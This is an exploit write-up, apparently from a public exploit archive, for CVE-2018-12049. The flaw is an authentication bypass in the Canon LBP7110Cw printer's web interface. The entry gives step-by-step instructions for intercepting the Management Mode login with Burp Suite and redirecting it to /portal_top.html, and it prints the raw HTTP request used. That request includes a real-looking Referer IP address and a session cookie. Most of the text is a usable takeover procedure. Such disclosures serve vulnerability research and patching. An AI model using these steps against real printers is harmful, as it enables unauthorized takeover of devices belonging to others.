Canon LBP7110Cw - Authentication Bypass

# Exploit Title: Canon LBP7110Cw - Authentication Bypass
# Date: 2018-06-07
# Exploit Author: Huy Kha
# Vendor Homepage: http://global.canon.com
# Version: LBP7110Cw
# CVE: CVE-2018-12049 
# Severity: High (Leads to full System Manager Mode account take-over)

# Description : A remote attacker can bypass the Management Mode on the
# Canon LBP7110Cw web interface without a PIN for /checkLogin.cgi via
# vectors involving /portal_top.html to get full access to the device.

# PoC :
# As you can see when we're type a random password. 
# You'll get an error for an incorrect authentication.
# Now with a simple request, we can bypass the authentication
# and get full access to the printer with ''Management Mode''

1. Go to the following url: http://TargetURL/
2. Click on Management Mode
3. Intercept now the request with Burpsuite and click then on 'Ok'' to
login. And now you have to forward POST /checkLogin.cgi HTTP/1.1 request 
to the GET /portal_top.html HTTP/1.1

# Request :
GET /portal_top.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://164.125.112.38/
Cookie: sessid=QegLH5ETb92HEEPWr55AiA##
Connection: close
Upgrade-Insecure-Requests: 1

# Do we have now access to the printer with Management Mode? : Yes
# Impact: A remote attacker can have take-over the whole printer